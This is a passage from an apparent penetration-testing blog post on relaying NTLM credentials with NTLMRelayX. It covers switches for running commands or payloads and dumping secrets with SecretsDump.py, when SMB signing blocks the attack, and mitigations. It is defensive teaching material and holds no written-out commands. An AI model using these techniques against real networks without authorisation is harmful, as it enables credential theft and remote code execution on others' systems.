<span class="s1" style="font-size: x-small;"><i>Creating a target list with one IP per line to use with the ‘-tf’ switch</i></span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p3">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2S3fMRHtr440qVhBrTx2M3nXQGWDae3TA72TclC0jgAwFPdxjpPB1LfJ7bhf88ZStUp1YpxyYE6ev4OxFI3vwnBbQYxFFCTNXMrezY6Yg9O16VpzevWf9cYpIelXHSZ2awbNlwVd1c6Gw/s1600/Running_NTLMRelayX_with_tf_and_w.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="123" data-original-width="468" height="168" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2S3fMRHtr440qVhBrTx2M3nXQGWDae3TA72TclC0jgAwFPdxjpPB1LfJ7bhf88ZStUp1YpxyYE6ev4OxFI3vwnBbQYxFFCTNXMrezY6Yg9O16VpzevWf9cYpIelXHSZ2awbNlwVd1c6Gw/s640/Running_NTLMRelayX_with_tf_and_w.png" width="640" /></a></div>
</div>
<div class="p14">
<span style="font-size: x-small;"><span class="s1"><i></i></span><br />
</span></div>
<div class="p12">
<span class="s1" style="font-size: x-small;"><i>Running NTLMRelayX with the –tf and –w switches</i></span></div>
<div class="p14">
<span class="s1"><i></i></span><br /></div>
<div class="p2">
<span class="s1">There are definitely other options which we can specify and are relevant on most penetration tests such as “<span style="font-family: "courier new" , "courier" , monospace;">-c</span>” to execute commands, including empire payloads, or “<span style="font-family: "courier new" , "courier" , monospace;">-e</span>” to upload and execute files such as a custom MSFPayload. In the event that we did not define either of these items, this tool with automatically attempt to execute SecretsDump.py against the target host.</span><br />
<span class="s1"><br />
</span></div>
<div class="p3">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEjy-AZ8HrwOcGU7ts9t9rrH_sXRtx2_Y9sQiTtJdSfukwRSaEajFrpuUkg9geg3mUagodpELx90n32HO35Z9jwRDPpMax6pg0tluTkpQdvke5tNsWvO99o5MOmgU-LI0TkkKV_2ON-FQg/s1600/Successful_auth_and_Secretsdump.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="411" data-original-width="468" height="560" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEjy-AZ8HrwOcGU7ts9t9rrH_sXRtx2_Y9sQiTtJdSfukwRSaEajFrpuUkg9geg3mUagodpELx90n32HO35Z9jwRDPpMax6pg0tluTkpQdvke5tNsWvO99o5MOmgU-LI0TkkKV_2ON-FQg/s640/Successful_auth_and_Secretsdump.png" width="640" /></a></div>
<span class="s1"></span></div>
<div class="p12">
<span class="s1" style="font-size: x-small;"><i><br />
</i></span> <span class="s1" style="font-size: x-small;"><i>Successful authentication and execution of SecretsDump.py.</i></span></div>
<div class="p14">
<span class="s1"><i></i></span><br /></div>
<div class="p2">
<span class="s1">In many cases, this will be enough to get you started on the post exploitation phase of the penetration test, but in situations, where there are additional protections in place preventing this from being extremely useful, I recommend using the “<span style="font-family: "courier new" , "courier" , monospace;">-e</span>” or “<span style="font-family: "courier new" , "courier" , monospace;">-c</span>” switches.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">There are certain situations in which this attack will be stopped. As mentioned in the introduction, Microsoft released a patch which stops users from relaying hashes back to the original host. If the user is only a local admin on their own host, this will not be too useful. The other situation is when SMB signing is enabled. This is the case by default on domain controllers and can be the case on other servers or workstations in the environment.</span></div>
<div class="p3">
<br /></div>
<div class="p3">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxXUA3tXi71oIocT6yHjLJfeEprD_4fgTKU7F4VrV6qWyvZjPuW5T-C4mtZTRJKXy9Q0ryalm1egE-Oz7501TbGs0oeM7a34d1-PnxzkPoHjy9WxHBt84xGJltHw1Xpl6k1mQvdbPLEA8c/s1600/Relaying_creds_to_domain_controller_with_smb_signing.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="411" data-original-width="468" height="562" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxXUA3tXi71oIocT6yHjLJfeEprD_4fgTKU7F4VrV6qWyvZjPuW5T-C4mtZTRJKXy9Q0ryalm1egE-Oz7501TbGs0oeM7a34d1-PnxzkPoHjy9WxHBt84xGJltHw1Xpl6k1mQvdbPLEA8c/s640/Relaying_creds_to_domain_controller_with_smb_signing.png" width="640" /></a></div>
<span class="s1"></span><br /></div>
<div class="p15">
<span class="s1" style="font-size: x-small;"><i>Relaying credentials to a domain controller with SMB signing enabled and failing.</i></span></div>
<div class="p1">
<span class="s1"><b><br />
</b></span> <br />
<h3>
<span class="s1" style="color: #0b5394; font-size: large;"><b>Mitigations:</b></span></h3>
</div>
<div class="p2">
<span class="s1">As mentioned above, one mitigation to prevent the relay portion of this attack would be to enable SMB signing throughout the environment. I have heard various estimates for the overhead on network level traffic caused by this and if there is any concern about capping out bandwidth, clients should take a risk based approach to determine which systems should have SMB signing enabled.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">SMB signing will only prevent the ability to relay credentials successfully and will not provide any protections around capturing password hashes. In the event that SMB signing is enabled, we would still be able to use the MITMf section of this guide to capture credentials and attempt to wordlist/hybrid attack the hash and hopefully recover the plaintext password of the hash. In this situation, I would recommend using a different browser other than Internet Explorer or Microsoft Edge. Both Chrome and Firefox can be configured to automatically send NTLM credentials to authenticate to an SMB server, but neither will do it by default. Per the research I have done, there is no way to disable this feature in IE or Edge, only for the entire Windows system (which breaks basically everything…).</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">There are other solutions to prevent ARP spoofing but, to me, this is more of a solution of a symptom than a root cause because attackers on the internal network can use other MITM attacker to attack clients and stopping ARP spoofing is no guaranteed protection against the damages of MITM attacks.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 14.0px Arial; color: #365f91; -webkit-text-stroke: #365f91}
p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 10.0px Arial; color: #000000; -webkit-text-stroke: #000000}
p.p3 {margin: 0.0px 0.0px 0.0px 0.0px; font: 10.0px Arial; color: #000000; -webkit-text-stroke: #000000; min-height: 11.0px}
p.p4 {margin: 0.0px 0.0px 24.0px 0.0px; font: 14.0px Arial; color: #365f91; -webkit-text-stroke: #365f91}
p.p5 {margin: 0.0px 0.0px 8.0px 0.0px; font: 11.0px 'Trebuchet MS'; color: #5a5a5a; -webkit-text-stroke: #5a5a5a}
p.p6 {margin: 0.0px 0.0px 0.0px 36.0px; font: 10.0px Helvetica; color: #000000; -webkit-text-stroke: #000000}
p.p7 {margin: 0.0px 0.0px 0.0px 0.0px; font: 9.0px Arial; color: #000000; -webkit-text-stroke: #000000}
p.p8 {margin: 0.0px 0.0px 8.0px 0.0px; font: 11.0px 'Trebuchet MS'; color: #5a5a5a; -webkit-text-stroke: #5a5a5a; min-height: 12.0px}
p.p9 {margin: 0.0px 0.0px 0.0px 36.0px; font: 10.0px Arial; color: #000000; -webkit-text-stroke: #000000; min-height: 11.0px}
p.p10 {margin: 0.0px 0.0px 0.0px 0.0px; font: 10.0px Helvetica; color: #000000; -webkit-text-stroke: #000000; min-height: 12.0px}
p.p11 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.0px Helvetica; color: #000000; -webkit-text-stroke: #000000}
p.p12 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.0px Arial; color: #000000; -webkit-text-stroke: #000000}
p.p13 {margin: 0.0px 0.0px 0.0px 0.0px; font: 9.0px Helvetica; color: #000000; -webkit-text-stroke: #000000; min-height: 11.0px}
p.p14 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.0px Arial; color: #000000; -webkit-text-stroke: #000000; min-height: 9.0px}
p.p15 {margin: 0.0px 0.0px 24.0px 0.0px; font: 8.0px Arial; color: #000000; -webkit-text-stroke: #000000}
li.li2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 10.0px Arial; color: #000000; -webkit-text-stroke: #000000}
span.s1 {font-kerning: none}
span.s2 {font: 10.0px Arial; font-kerning: none; color: #000000; -webkit-text-stroke: 0px #000000}
span.s3 {letter-spacing: 0.8px}
span.s4 {font: 10.0px Arial; text-decoration: underline ; font-kerning: none; color: #0000ff; -webkit-text-stroke: 0px #0000ff}
ul.ul1 {list-style-type: disc; color: #FFFFFF}
</style> <br />
<div class="p3">
<span class="s1"></span><br /></div>
BinaryFaultlinehttp://www.blogger.com/profile/15007190596204655011noreply@blogger.com0